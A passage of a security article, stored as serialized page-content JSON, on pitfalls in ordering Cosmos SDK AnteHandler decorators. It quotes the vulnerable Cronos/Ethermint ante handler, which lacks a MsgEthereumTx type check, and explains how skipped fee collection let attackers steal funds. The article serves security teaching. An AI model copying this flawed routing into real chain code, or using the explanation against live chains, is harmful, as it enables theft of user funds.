NewIncrementSequenceDecorator(options.AccountKeeper),\n}\n",[81022],{"type":23,"tag":71,"props":81023,"children":81024},{"__ignoreMap":7},[81025,81058,81075,81083,81112,81124,81136,81165,81193,81272,81305,81333,81378,81423,81451],{"type":23,"tag":230,"props":81026,"children":81027},{"class":232,"line":233},[81028,81033,81037,81041,81045,81049,81054],{"type":23,"tag":230,"props":81029,"children":81030},{"style":262},[81031],{"type":29,"value":81032},"anteDecorators",{"type":23,"tag":230,"props":81034,"children":81035},{"style":268},[81036],{"type":29,"value":78195},{"type":23,"tag":230,"props":81038,"children":81039},{"style":274},[81040],{"type":29,"value":78006},{"type":23,"tag":230,"props":81042,"children":81043},{"style":676},[81044],{"type":29,"value":80509},{"type":23,"tag":230,"props":81046,"children":81047},{"style":274},[81048],{"type":29,"value":312},{"type":23,"tag":230,"props":81050,"children":81051},{"style":676},[81052],{"type":29,"value":81053},"AnteDecorator",{"type":23,"tag":230,"props":81055,"children":81056},{"style":274},[81057],{"type":29,"value":13211},{"type":23,"tag":230,"props":81059,"children":81060},{"class":232,"line":243},[81061,81066,81070],{"type":23,"tag":230,"props":81062,"children":81063},{"style":294},[81064],{"type":29,"value":81065},"    NewSetUpContextDecorator",{"type":23,"tag":230,"props":81067,"children":81068},{"style":274},[81069],{"type":29,"value":1172},{"type":23,"tag":230,"props":81071,"children":81072},{"style":237},[81073],{"type":29,"value":81074},"// outermost AnteDecorator. SetUpContext must be called first\n",{"type":23,"tag":230,"props":81076,"children":81077},{"class":232,"line":252},[81078],{"type":23,"tag":230,"props":81079,"children":81080},{"style":237},[81081],{"type":29,"value":81082},"    // INSERT HERE\n",{"type":23,"tag":230,"props":81084,"children":81085},{"class":232,"line":280},[81086,81091,81095,81099,81103,81108],{"type":23,"tag":230,"props":81087,"children":81088},{"style":294},[81089],{"type":29,"value":81090},"    NewExtensionOptionsDecorator",{"type":23,"tag":230,"props":81092,"children":81093},{"style":274},[81094],{"type":29,"value":302},{"type":23,"tag":230,"props":81096,"children":81097},{"style":262},[81098],{"type":29,"value":689},{"type":23,"tag":230,"props":81100,"children":81101},{"style":274},[81102],{"type":29,"value":312},{"type":23,"tag":230,"props":81104,"children":81105},{"style":262},[81106],{"type":29,"value":81107},"ExtensionOptionChecker",{"type":23,"tag":230,"props":81109,"children":81110},{"style":274},[81111],{"type":29,"value":331},{"type":23,"tag":230,"props":81113,"children":81114},{"class":232,"line":334},[81115,81120],{"type":23,"tag":230,"props":81116,"children":81117},{"style":294},[81118],{"type":29,"value":81119},"    NewValidateBasicDecorator",{"type":23,"tag":230,"props":81121,"children":81122},{"style":274},[81123],{"type":29,"value":5827},{"type":23,"tag":230,"props":81125,"children":81126},{"class":232,"line":371},[81127,81132],{"type":23,"tag":230,"props":81128,"children":81129},{"style":294},[81130],{"type":29,"value":81131},"    NewTxTimeoutHeightDecorator",{"type":23,"tag":230,"props":81133,"children":81134},{"style":274},[81135],{"type":29,"value":5827},{"type":23,"tag":230,"props":81137,"children":81138},{"class":232,"line":391},[81139,81144,81148,81152,81156,81161],{"type":23,"tag":230,"props":81140,"children":81141},{"style":294},[81142],{"type":29,"value":81143},"    NewValidateMemoDecorator",{"type":23,"tag":230,"props":81145,"children":81146},{"style":274},[81147],{"type":29,"value":302},{"type":23,"tag":230,"props":81149,"children":81150},{"style":262},[81151],{"type":29,"value":689},{"type":23,"tag":230,"props":81153,"children":81154},{"style":274},[81155],{"type":29,"value":312},{"type":23,"tag":230,"props":81157,"children":81158},{"style":262},[81159],{"type":29,"value":81160},"AccountKeeper",{"type":23,"tag":230,"props":81162,"children":81163},{"style":274},[81164],{"type":29,"value":331},{"type":23,"tag":230,"props":81166,"children":81167},{"class":232,"line":400},[81168,81173,81177,81181,81185,81189],{"type":23,"tag":230,"props":81169,"children":81170},{"style":294},[81171],{"type":29,"value":81172},"    NewConsumeGasForTxSizeDecorator",{"type":23,"tag":230,"props":81174,"children":81175},{"style":274},[81176],{"type":29,"value":302},{"type":23,"tag":230,"props":81178,"children":81179},{"style":262},[81180],{"type":29,"value":689},{"type":23,"tag":230,"props":81182,"children":81183},{"style":274},[81184],{"type":29,"value":312},{"type":23,"tag":230,"props":81186,"children":81187},{"style":262},[81188],{"type":29,"value":81160},{"type":23,"tag":230,"props":81190,"children":81191},{"style":274},[81192],{"type":29,"value":331},{"type":23,"tag":230,"props":81194,"children":81195},{"class":232,"line":444},[81196,81201,81205,81209,81213,81217,81221,81225,81229,81234,81238,81242,81246,81251,81255,81259,81263,81268],{"type":23,"tag":230,"props":81197,"children":81198},{"style":294},[81199],{"type":29,"value":81200},"    NewDeductFeeDecorator",{"type":23,"tag":230,"props":81202,"children":81203},{"style":274},[81204],{"type":29,"value":302},{"type":23,"tag":230,"props":81206,"children":81207},{"style":262},[81208],{"type":29,"value":689},{"type":23,"tag":230,"props":81210,"children":81211},{"style":274},[81212],{"type":29,"value":312},{"type":23,"tag":230,"props":81214,"children":81215},{"style":262},[81216],{"type":29,"value":81160},{"type":23,"tag":230,"props":81218,"children":81219},{"style":274},[81220],{"type":29,"value":684},{"type":23,"tag":230,"props":81222,"children":81223},{"style":262},[81224],{"type":29,"value":689},{"type":23,"tag":230,"props":81226,"children":81227},{"style":274},[81228],{"type":29,"value":312},{"type":23,"tag":230,"props":81230,"children":81231},{"style":262},[81232],{"type":29,"value":81233},"BankKeeper",{"type":23,"tag":230,"props":81235,"children":81236},{"style":274},[81237],{"type":29,"value":684},{"type":23,"tag":230,"props":81239,"children":81240},{"style":262},[81241],{"type":29,"value":689},{"type":23,"tag":230,"props":81243,"children":81244},{"style":274},[81245],{"type":29,"value":312},{"type":23,"tag":230,"props":81247,"children":81248},{"style":262},[81249],{"type":29,"value":81250},"FeegrantKeeper",{"type":23,"tag":230,"props":81252,"children":81253},{"style":274},[81254],{"type":29,"value":684},{"type":23,"tag":230,"props":81256,"children":81257},{"style":262},[81258],{"type":29,"value":689},{"type":23,"tag":230,"props":81260,"children":81261},{"style":274},[81262],{"type":29,"value":312},{"type":23,"tag":230,"props":81264,"children":81265},{"style":262},[81266],{"type":29,"value":81267},"TxFeeChecker",{"type":23,"tag":230,"props":81269,"children":81270},{"style":274},[81271],{"type":29,"value":331},{"type":23,"tag":230,"props":81273,"children":81274},{"class":232,"line":453},[81275,81280,81284,81288,81292,81296,81300],{"type":23,"tag":230,"props":81276,"children":81277},{"style":294},[81278],{"type":29,"value":81279},"    NewSetPubKeyDecorator",{"type":23,"tag":230,"props":81281,"children":81282},{"style":274},[81283],{"type":29,"value":302},{"type":23,"tag":230,"props":81285,"children":81286},{"style":262},[81287],{"type":29,"value":689},{"type":23,"tag":230,"props":81289,"children":81290},{"style":274},[81291],{"type":29,"value":312},{"type":23,"tag":230,"props":81293,"children":81294},{"style":262},[81295],{"type":29,"value":81160},{"type":23,"tag":230,"props":81297,"children":81298},{"style":274},[81299],{"type":29,"value":17502},{"type":23,"tag":230,"props":81301,"children":81302},{"style":237},[81303],{"type":29,"value":81304},"// SetPubKeyDecorator must be called before all signature verification decorators\n",{"type":23,"tag":230,"props":81306,"children":81307},{"class":232,"line":462},[81308,81313,81317,81321,81325,81329],{"type":23,"tag":230,"props":81309,"children":81310},{"style":294},[81311],{"type":29,"value":81312},"    NewValidateSigCountDecorator",{"type":23,"tag":230,"props":81314,"children":81315},{"style":274},[81316],{"type":29,"value":302},{"type":23,"tag":230,"props":81318,"children":81319},{"style":262},[81320],{"type":29,"value":689},{"type":23,"tag":230,"props":81322,"children":81323},{"style":274},[81324],{"type":29,"value":312},{"type":23,"tag":230,"props":81326,"children":81327},{"style":262},[81328],{"type":29,"value":81160},{"type":23,"tag":230,"props":81330,"children":81331},{"style":274},[81332],{"type":29,"value":331},{"type":23,"tag":230,"props":81334,"children":81335},{"class":232,"line":471},[81336,81341,81345,81349,81353,81357,81361,81365,81369,81374],{"type":23,"tag":230,"props":81337,"children":81338},{"style":294},[81339],{"type":29,"value":81340},"    NewSigGasConsumeDecorator",{"type":23,"tag":230,"props":81342,"children":81343},{"style":274},[81344],{"type":29,"value":302},{"type":23,"tag":230,"props":81346,"children":81347},{"style":262},[81348],{"type":29,"value":689},{"type":23,"tag":230,"props":81350,"children":81351},{"style":274},[81352],{"type":29,"value":312},{"type":23,"tag":230,"props":81354,"children":81355},{"style":262},[81356],{"type":29,"value":81160},{"type":23,"tag":230,"props":81358,"children":81359},{"style":274},[81360],{"type":29,"value":684},{"type":23,"tag":230,"props":81362,"children":81363},{"style":262},[81364],{"type":29,"value":689},{"type":23,"tag":230,"props":81366,"children":81367},{"style":274},[81368],{"type":29,"value":312},{"type":23,"tag":230,"props":81370,"children":81371},{"style":262},[81372],{"type":29,"value":81373},"SigGasConsumer",{"type":23,"tag":230,"props":81375,"children":81376},{"style":274},[81377],{"type":29,"value":331},{"type":23,"tag":230,"props":81379,"children":81380},{"class":232,"line":500},[81381,81386,81390,81394,81398,81402,81406,81410,81414,81419],{"type":23,"tag":230,"props":81382,"children":81383},{"style":294},[81384],{"type":29,"value":81385},"    NewSigVerificationDecorator",{"type":23,"tag":230,"props":81387,"children":81388},{"style":274},[81389],{"type":29,"value":302},{"type":23,"tag":230,"props":81391,"children":81392},{"style":262},[81393],{"type":29,"value":689},{"type":23,"tag":230,"props":81395,"children":81396},{"style":274},[81397],{"type":29,"value":312},{"type":23,"tag":230,"props":81399,"children":81400},{"style":262},[81401],{"type":29,"value":81160},{"type":23,"tag":230,"props":81403,"children":81404},{"style":274},[81405],{"type":29,"value":684},{"type":23,"tag":230,"props":81407,"children":81408},{"style":262},[81409],{"type":29,"value":689},{"type":23,"tag":230,"props":81411,"children":81412},{"style":274},[81413],{"type":29,"value":312},{"type":23,"tag":230,"props":81415,"children":81416},{"style":262},[81417],{"type":29,"value":81418},"SignModeHandler",{"type":23,"tag":230,"props":81420,"children":81421},{"style":274},[81422],{"type":29,"value":331},{"type":23,"tag":230,"props":81424,"children":81425},{"class":232,"line":514},[81426,81431,81435,81439,81443,81447],{"type":23,"tag":230,"props":81427,"children":81428},{"style":294},[81429],{"type":29,"value":81430},"    NewIncrementSequenceDecorator",{"type":23,"tag":230,"props":81432,"children":81433},{"style":274},[81434],{"type":29,"value":302},{"type":23,"tag":230,"props":81436,"children":81437},{"style":262},[81438],{"type":29,"value":689},{"type":23,"tag":230,"props":81440,"children":81441},{"style":274},[81442],{"type":29,"value":312},{"type":23,"tag":230,"props":81444,"children":81445},{"style":262},[81446],{"type":29,"value":81160},{"type":23,"tag":230,"props":81448,"children":81449},{"style":274},[81450],{"type":29,"value":331},{"type":23,"tag":230,"props":81452,"children":81453},{"class":232,"line":897},[81454],{"type":23,"tag":230,"props":81455,"children":81456},{"style":274},[81457],{"type":29,"value":975},{"type":23,"tag":32,"props":81459,"children":81460},{},[81461,81463,81468,81470,81476,81477,81483],{"type":29,"value":81462},"Unfortunately, that order wouldn't work. This is because there are other ",{"type":23,"tag":71,"props":81464,"children":81466},{"className":81465},[],[81467],{"type":29,"value":80998},{"type":29,"value":81469},", such as ",{"type":23,"tag":71,"props":81471,"children":81473},{"className":81472},[],[81474],{"type":29,"value":81475},"SigGasConsumeDecorator",{"type":29,"value":112},{"type":23,"tag":71,"props":81478,"children":81480},{"className":81479},[],[81481],{"type":29,"value":81482},"ConsumeGasForTxSizeDecorator",{"type":29,"value":81484},", that modify account balances. By placing our decorator at the very start of the chain, we might pass the check and later have the signers' balances deducted before reaching the end of the decorator chain and starting transaction execution. Consequently, the invariance we intended to ensure may no longer hold, rendering our check useless.",{"type":23,"tag":32,"props":81486,"children":81487},{},[81488,81490,81496,81498,81503],{"type":29,"value":81489},"The easiest \"mitigation\" is to move our decorator down into the chain list. We say this lightly because it's important to consider various factors such as whether nested ",{"type":23,"tag":71,"props":81491,"children":81493},{"className":81492},[],[81494],{"type":29,"value":81495},"msgs",{"type":29,"value":81497}," are allowed (e.g. the authz module is present), as this precaution alone might not be enough to fully resolve the issue. Without a comprehensive understanding of the entire system, there is a risk that mistakes will still be made in the ",{"type":23,"tag":71,"props":81499,"children":81501},{"className":81500},[],[81502],{"type":29,"value":80324},{"type":29,"value":81504}," chain.",{"type":23,"tag":59,"props":81506,"children":81508},{"id":81507},"real-world-examples-2",[81509],{"type":29,"value":78468},{"type":23,"tag":32,"props":81511,"children":81512},{},[81513,81515,81520,81522,81529],{"type":29,"value":81514},"An instance of ",{"type":23,"tag":71,"props":81516,"children":81518},{"className":81517},[],[81519],{"type":29,"value":80249},{"type":29,"value":81521}," misuse is a ",{"type":23,"tag":181,"props":81523,"children":81526},{"href":81524,"rel":81525},"https://medium.com/immunefi/cronos-theft-of-transactions-fees-bugfix-postmortem-b33f941b9570",[185],[81527],{"type":29,"value":81528},"Theft of Fund bug",{"type":29,"value":81530}," that was exploited in a Cronos contract.",{"type":23,"tag":32,"props":81532,"children":81533},{},[81534,81536,81541,81543,81548,81550,81556,81558,81564,81566,81571,81573,81578],{"type":29,"value":81535},"In this scenario, ",{"type":23,"tag":71,"props":81537,"children":81539},{"className":81538},[],[81540],{"type":29,"value":81495},{"type":29,"value":81542}," are multiplexed to different ",{"type":23,"tag":71,"props":81544,"children":81546},{"className":81545},[],[81547],{"type":29,"value":80249},{"type":29,"value":81549}," sets through the user-controlled ",{"type":23,"tag":71,"props":81551,"children":81553},{"className":81552},[],[81554],{"type":29,"value":81555},"ExtensionOptionsEthereumTx",{"type":29,"value":81557}," option. However, due to a lack of tx validation, if a ",{"type":23,"tag":71,"props":81559,"children":81561},{"className":81560},[],[81562],{"type":29,"value":81563},"MsgEthereumTx",{"type":29,"value":81565}," does not have ",{"type":23,"tag":71,"props":81567,"children":81569},{"className":81568},[],[81570],{"type":29,"value":81555},{"type":29,"value":81572}," specified, it will be routed to non-Ethereum ",{"type":23,"tag":71,"props":81574,"children":81576},{"className":81575},[],[81577],{"type":29,"value":80998},{"type":29,"value":81579},", failing to collect fees from users as intended. Consequently, attackers can exploit the fee refund at the end of transaction processing to steal funds.",{"type":23,"tag":32,"props":81581,"children":81582},{},[81583],{"type":23,"tag":181,"props":81584,"children":81587},{"href":81585,"rel":81586},"https://github.com/crypto-org-chain/ethermint/blob/82805507f7d2e83cad547736883dc22acfb52440/app/ante/ante.go#L33",[185],[81588],{"type":29,"value":78518},{"type":23,"tag":220,"props":81590,"children":81592},{"code":81591,"language":77943,"meta":7,"className":77944,"style":7},"func NewAnteHandler(\n    ak evmtypes.AccountKeeper,\n    bankKeeper evmtypes.BankKeeper,\n    evmKeeper EVMKeeper,\n    feeGrantKeeper authante.FeegrantKeeper,\n    channelKeeper channelkeeper.Keeper,\n    signModeHandler authsigning.SignModeHandler,\n) sdk.AnteHandler {\n    return func(\n        ctx sdk.Context, tx sdk.Tx, sim bool,\n    ) (newCtx sdk.Context, err error) {\n        var anteHandler sdk.AnteHandler\n\n        defer Recover(ctx.Logger(), &err)\n\n        txWithExtensions, ok := tx.(authante.HasExtensionOptionsTx)\n        if ok {\n            opts := txWithExtensions.GetExtensionOptions()\n            if len(opts) > 0 {\n                switch typeURL := opts[0].GetTypeUrl(); typeURL {\n                case \"/ethermint.evm.v1.ExtensionOptionsEthereumTx\":\n                    // handle as *evmtypes.MsgEthereumTx\n\n                    anteHandler = sdk.ChainAnteDecorators(\n                        NewEthSetUpContextDecorator(), // outermost AnteDecorator. SetUpContext must be called first\n                        ...\n                        NewEthIncrementSenderSequenceDecorator(ak), // innermost AnteDecorator.\n                    )\n\n                default:\n                    return ctx, stacktrace.Propagate(\n                        sdkerrors.Wrap(sdkerrors.ErrUnknownExtensionOptions, typeURL),\n                        \"rejecting tx with unsupported extension option\",\n                    )\n                }\n\n                return anteHandler(ctx, tx, sim)\n            }\n        }\n\n        // SHOULD CHECK TX IS NOT MsgEthereumTx HERE\n\n        switch tx.(type) {\n        case sdk.Tx:\n            anteHandler = sdk.ChainAnteDecorators(\n                authante.NewSetUpContextDecorator(), // outermost AnteDecorator. SetUpContext must be called first\n                 ...\n                authante.NewIncrementSequenceDecorator(ak), // innermost AnteDecorator\n            )\n        default:\n            return ctx, stacktrace.Propagate(\n                sdkerrors.Wrapf(sdkerrors.ErrUnknownRequest, \"invalid transaction type: %T\", tx),\n                \"transaction is not an SDK tx\",\n            )\n        }\n\n        return anteHandler(ctx, tx, sim)\n    }\n}\n",[81593],{"type":23,"tag":71,"props":81594,"children":81595},{"__ignoreMap":7},[81596,81612,81637,81661,81678,81703,81729,81754,81777,81793,81849,81890,81916,81923,81969,81976,82022,82038,82068,82103,82155,82172,82180,82187,82216,82232,82240,82266,82274,82281,82293,82327,82373,82385,82392,82399,82406,82445,82452,82459,82466,82474,82481,82505,82529,82557,82582,82590,82623,82630,82642,82673,82728,82741,82749,82757,82765,82805,82813],{"type":23,"tag":230,"props":81597,"children":81598},{"class":232,"line":233},[81599,81603,81608],{"type":23,"tag":230,"props":81600,"children":81601},{"style":256},[81602],{"type":29,"value":78079},{"type":23,"tag":230,"props":81604,"children":81605},{"style":294},[81606],{"type":29,"value":81607}," NewAnteHandler",{"type":23,"tag":230,"props":81609,"children":81610},{"style":274},[81611],{"type":29,"value":619},{"type":23,"tag":230,"props":81613,"children":81614},{"class":232,"line":243},[81615,81620,81625,81629,81633],{"type":23,"tag":230,"props":81616,"children":81617},{"style":262},[81618],{"type":29,"value":81619},"    ak",{"type":23,"tag":230,"props":81621,"children":81622},{"style":676},[81623],{"type":29,"value":81624}," evmtypes",{"type":23,"tag":230,"props":81626,"children":81627},{"style":274},[81628],{"type":29,"value":312},{"type":23,"tag":230,"props":81630,"children":81631},{"style":676},[81632],{"type":29,"value":81160},{"type":23,"tag":230,"props":81634,"children":81635},{"style":274},[81636],{"type":29,"value":388},{"type":23,"tag":230,"props":81638,"children":81639},{"class":232,"line":252},[81640,81645,81649,81653,81657],{"type":23,"tag":230,"props":81641,"children":81642},{"style":262},[81643],{"type":29,"value":81644},"    bankKeeper",{"type":23,"tag":230,"props":81646,"children":81647},{"style":676},[81648],{"type":29,"value":81624},{"type":23,"tag":230,"props":81650,"children":81651},{"style":274},[81652],{"type":29,"value":312},{"type":23,"tag":230,"props":81654,"children":81655},{"style":676},[81656],{"type":29,"value":81233},{"type":23,"tag":230,"props":81658,"children":81659},{"style":274},[81660],{"type":29,"value":388},{"type":23,"tag":230,"props":81662,"children":81663},{"class":232,"line":280},[81664,81669,81674],{"type":23,"tag":230,"props":81665,"children":81666},{"style":262},[81667],{"type":29,"value":81668},"    evmKeeper",{"type":23,"tag":230,"props":81670,"children":81671},{"style":676},[81672],{"type":29,"value":81673}," EVMKeeper",{"type":23,"tag":230,"props":81675,"children":81676},{"style":274},[81677],{"type":29,"value":388},{"type":23,"tag":230,"props":81679,"children":81680},{"class":232,"line":334},[81681,81686,81691,81695,81699],{"type":23,"tag":230,"props":81682,"children":81683},{"style":262},[81684],{"type":29,"value":81685},"    feeGrantKeeper",{"type":23,"tag":230,"props":81687,"children":81688},{"style":676},[81689],{"type":29,"value":81690}," authante",{"type":23,"tag":230,"props":81692,"children":81693},{"style":274},[81694],{"type":29,"value":312},{"type":23,"tag":230,"props":81696,"children":81697},{"style":676},[81698],{"type":29,"value":81250},{"type":23,"tag":230,"props":81700,"children":81701},{"style":274},[81702],{"type":29,"value":388},{"type":23,"tag":230,"props":81704,"children":81705},{"class":232,"line":371},[81706,81711,81716,81720,81725],{"type":23,"tag":230,"props":81707,"children":81708},{"style":262},[81709],{"type":29,"value":81710},"    channelKeeper",{"type":23,"tag":230,"props":81712,"children":81713},{"style":676},[81714],{"type":29,"value":81715}," channelkeeper",{"type":23,"tag":230,"props":81717,"children":81718},{"style":274},[81719],{"type":29,"value":312},{"type":23,"tag":230,"props":81721,"children":81722},{"style":676},[81723],{"type":29,"value":81724},"Keeper",{"type":23,"tag":230,"props":81726,"children":81727},{"style":274},[81728],{"type":29,"value":388},{"type":23,"tag":230,"props":81730,"children":81731},{"class":232,"line":391},[81732,81737,81742,81746,81750],{"type":23,"tag":230,"props":81733,"children":81734},{"style":262},[81735],{"type":29,"value":81736},"    signModeHandler",{"type":23,"tag":230,"props":81738,"children":81739},{"style":676},[81740],{"type":29,"value":81741}," authsigning",{"type":23,"tag":230,"props":81743,"children":81744},{"style":274},[81745],{"type":29,"value":312},{"type":23,"tag":230,"props":81747,"children":81748},{"style":676},[81749],{"type":29,"value":81418},{"type":23,"tag":230,"props":81751,"children":81752},{"style":274},[81753],{"type":29,"value":388},{"type":23,"tag":230,"props":81755,"children":81756},{"class":232,"line":400},[81757,81761,81765,81769,81773],{"type":23,"tag":230,"props":81758,"children":81759},{"style":274},[81760],{"type":29,"value":703},{"type":23,"tag":230,"props":81762,"children":81763},{"style":676},[81764],{"type":29,"value":80509},{"type":23,"tag":230,"props":81766,"children":81767},{"style":274},[81768],{"type":29,"value":312},{"type":23,"tag":230,"props":81770,"children":81771},{"style":676},[81772],{"type":29,"value":80249},{"type":23,"tag":230,"props":81774,"children":81775},{"style":274},[81776],{"type":29,"value":277},{"type":23,"tag":230,"props":81778,"children":81779},{"class":232,"line":444},[81780,81784,81789],{"type":23,"tag":230,"props":81781,"children":81782},{"style":866},[81783],{"type":29,"value":4427},{"type":23,"tag":230,"props":81785,"children":81786},{"style":256},[81787],{"type":29,"value":81788}," func",{"type":23,"tag":230,"props":81790,"children":81791},{"style":274},[81792],{"type":29,"value":619},{"type":23,"tag":230,"props":81794,"children":81795},{"class":232,"line":453},[81796,81800,81804,81808,81812,81816,81820,81824,81828,81832,81836,81841,81845],{"type":23,"tag":230,"props":81797,"children":81798},{"style":262},[81799],{"type":29,"value":28493},{"type":23,"tag":230,"props":81801,"children":81802},{"style":676},[81803],{"type":29,"value":80420},{"type":23,"tag":230,"props":81805,"children":81806},{"style":274},[81807],{"type":29,"value":312},{"type":23,"tag":230,"props":81809,"children":81810},{"style":676},[81811],{"type":29,"value":78128},{"type":23,"tag":230,"props":81813,"children":81814},{"style":274},[81815],{"type":29,"value":684},{"type":23,"tag":230,"props":81817,"children":81818},{"style":262},[81819],{"type":29,"value":80960},{"type":23,"tag":230,"props":81821,"children":81822},{"style":676},[81823],{"type":29,"value":80420},{"type":23,"tag":230,"props":81825,"children":81826},{"style":274},[81827],{"type":29,"value":312},{"type":23,"tag":230,"props":81829,"children":81830},{"style":676},[81831],{"type":29,"value":80453},{"type":23,"tag":230,"props":81833,"children":81834},{"style":274},[81835],{"type":29,"value":684},{"type":23,"tag":230,"props":81837,"children":81838},{"style":262},[81839],{"type":29,"value":81840},"sim",{"type":23,"tag":230,"props":81842,"children":81843},{"style":676},[81844],{"type":29,"value":14381},{"type":23,"tag":230,"props":81846,"children":81847},{"style":274},[81848],{"type":29,"value":388},{"type":23,"tag":230,"props":81850,"children":81851},{"class":232,"line":462},[81852,81857,81862,81866,81870,81874,81878,81882,81886],{"type":23,"tag":230,"props":81853,"children":81854},{"style":274},[81855],{"type":29,"value":81856},"    ) (",{"type":23,"tag":230,"props":81858,"children":81859},{"style":262},[81860],{"type":29,"value":81861},"newCtx",{"type":23,"tag":230,"props":81863,"children":81864},{"style":676},[81865],{"type":29,"value":80420},{"type":23,"tag":230,"props":81867,"children":81868},{"style":274},[81869],{"type":29,"value":312},{"type":23,"tag":230,"props":81871,"children":81872},{"style":676},[81873],{"type":29,"value":78128},{"type":23,"tag":230,"props":81875,"children":81876},{"style":274},[81877],{"type":29,"value":684},{"type":23,"tag":230,"props":81879,"children":81880},{"style":262},[81881],{"type":29,"value":50192},{"type":23,"tag":230,"props":81883,"children":81884},{"style":676},[81885],{"type":29,"value":17202},{"type":23,"tag":230,"props":81887,"children":81888},{"style":274},[81889],{"type":29,"value":827},{"type":23,"tag":230,"props":81891,"children":81892},{"class":232,"line":471},[81893,81898,81903,81907,81911],{"type":23,"tag":230,"props":81894,"children":81895},{"style":256},[81896],{"type":29,"value":81897},"        var",{"type":23,"tag":230,"props":81899,"children":81900},{"style":262},[81901],{"type":29,"value":81902}," anteHandler",{"type":23,"tag":230,"props":81904,"children":81905},{"style":676},[81906],{"type":29,"value":80420},{"type":23,"tag":230,"props":81908,"children":81909},{"style":274},[81910],{"type":29,"value":312},{"type":23,"tag":230,"props":81912,"children":81913},{"style":676},[81914],{"type":29,"value":81915},"AnteHandler\n",{"type":23,"tag":230,"props":81917,"children":81918},{"class":232,"line":500},[81919],{"type":23,"tag":230,"props":81920,"children":81921},{"emptyLinePlaceholder":18},[81922],{"type":29,"value":459},{"type":23,"tag":230,"props":81924,"children":81925},{"class":232,"line":514},[81926,81931,81936,81940,81944,81948,81953,81957,81961,81965],{"type":23,"tag":230,"props":81927,"children":81928},{"style":866},[81929],{"type":29,"value":81930},"        defer",{"type":23,"tag":230,"props":81932,"children":81933},{"style":294},[81934],{"type":29,"value":81935}," Recover",{"type":23,"tag":230,"props":81937,"children":81938},{"style":274},[81939],{"type":29,"value":302},{"type":23,"tag":230,"props":81941,"children":81942},{"style":262},[81943],{"type":29,"value":22595},{"type":23,"tag":230,"props":81945,"children":81946},{"style":274},[81947],{"type":29,"value":312},{"type":23,"tag":230,"props":81949,"children":81950},{"style":294},[81951],{"type":29,"value":81952},"Logger",{"type":23,"tag":230,"props":81954,"children":81955},{"style":274},[81956],{"type":29,"value":1172},{"type":23,"tag":230,"props":81958,"children":81959},{"style":268},[81960],{"type":29,"value":5448},{"type":23,"tag":230,"props":81962,"children":81963},{"style":262},[81964],{"type":29,"value":50192},{"type":23,"tag":230,"props":81966,"children":81967},{"style":274},[81968],{"type":29,"value":4516},{"type":23,"tag":230,"props":81970,"children":81971},{"class":232,"line":897},[81972],{"type":23,"tag":230,"props":81973,"children":81974},{"emptyLinePlaceholder":18},[81975],{"type":29,"value":459},{"type":23,"tag":230,"props":81977,"children":81978},{"class":232,"line":960},[81979,81984,81988,81992,81996,82000,82004,82009,82013,82018],{"type":23,"tag":230,"props":81980,"children":81981},{"style":262},[81982],{"type":29,"value":81983},"        txWithExtensions",{"type":23,"tag":230,"props":81985,"children":81986},{"style":274},[81987],{"type":29,"value":684},{"type":23,"tag":230,"props":81989,"children":81990},{"style":262},[81991],{"type":29,"value":80546},{"type":23,"tag":230,"props":81993,"children":81994},{"style":268},[81995],{"type":29,"value":78195},{"type":23,"tag":230,"props":81997,"children":81998},{"style":262},[81999],{"type":29,"value":69804},{"type":23,"tag":230,"props":82001,"children":82002},{"style":274},[82003],{"type":29,"value":80559},{"type":23,"tag":230,"props":82005,"children":82006},{"style":676},[82007],{"type":29,"value":82008},"authante",{"type":23,"tag":230,"props":82010,"children":82011},{"style":274},[82012],{"type":29,"value":312},{"type":23,"tag":230,"props":82014,"children":82015},{"style":676},[82016],{"type":29,"value":82017},"HasExtensionOptionsTx",{"type":23,"tag":230,"props":82019,"children":82020},{"style":274},[82021],{"type":29,"value":4516},{"type":23,"tag":230,"props":82023,"children":82024},{"class":232,"line":969},[82025,82029,82034],{"type":23,"tag":230,"props":82026,"children":82027},{"style":866},[82028],{"type":29,"value":5611},{"type":23,"tag":230,"props":82030,"children":82031},{"style":262},[82032],{"type":29,"value":82033}," ok",{"type":23,"tag":230,"props":82035,"children":82036},{"style":274},[82037],{"type":29,"value":277},{"type":23,"tag":230,"props":82039,"children":82040},{"class":232,"line":4526},[82041,82046,82050,82055,82059,82064],{"type":23,"tag":230,"props":82042,"children":82043},{"style":262},[82044],{"type":29,"value":82045},"            opts",{"type":23,"tag":230,"props":82047,"children":82048},{"style":268},[82049],{"type":29,"value":78195},{"type":23,"tag":230,"props":82051,"children":82052},{"style":262},[82053],{"type":29,"value":82054}," txWithExtensions",{"type":23,"tag":230,"props":82056,"children":82057},{"style":274},[82058],{"type":29,"value":312},{"type":23,"tag":230,"props":82060,"children":82061},{"style":294},[82062],{"type":29,"value":82063},"GetExtensionOptions",{"type":23,"tag":230,"props":82065,"children":82066},{"style":274},[82067],{"type":29,"value":10072},{"type":23,"tag":230,"props":82069,"children":82070},{"class":232,"line":4534},[82071,82075,82079,82083,82087,82091,82095,82099],{"type":23,"tag":230,"props":82072,"children":82073},{"style":866},[82074],{"type":29,"value":60575},{"type":23,"tag":230,"props":82076,"children":82077},{"style":294},[82078],{"type":29,"value":10893},{"type":23,"tag":230,"props":82080,"children":82081},{"style":274},[82082],{"type":29,"value":302},{"type":23,"tag":230,"props":82084,"children":82085},{"style":262},[82086],{"type":29,"value":50334},{"type":23,"tag":230,"props":82088,"children":82089},{"style":274},[82090],{"type":29,"value":703},{"type":23,"tag":230,"props":82092,"children":82093},{"style":268},[82094],{"type":29,"value":12792},{"type":23,"tag":230,"props":82096,"children":82097},{"style":5149},[82098],{"type":29,"value":5386},{"type":23,"tag":230,"props":82100,"children":82101},{"style":274},[82102],{"type":29,"value":277},{"type":23,"tag":230,"props":82104,"children":82105},{"class":232,"line":4542},[82106,82111,82116,82120,82125,82129,82133,82137,82142,82146,82151],{"type":23,"tag":230,"props":82107,"children":82108},{"style":866},[82109],{"type":29,"value":82110},"                switch",{"type":23,"tag":230,"props":82112,"children":82113},{"style":262},[82114],{"type":29,"value":82115}," typeURL",{"type":23,"tag":230,"props":82117,"children":82118},{"style":268},[82119],{"type":29,"value":78195},{"type":23,"tag":230,"props":82121,"children":82122},{"style":262},[82123],{"type":29,"value":82124}," 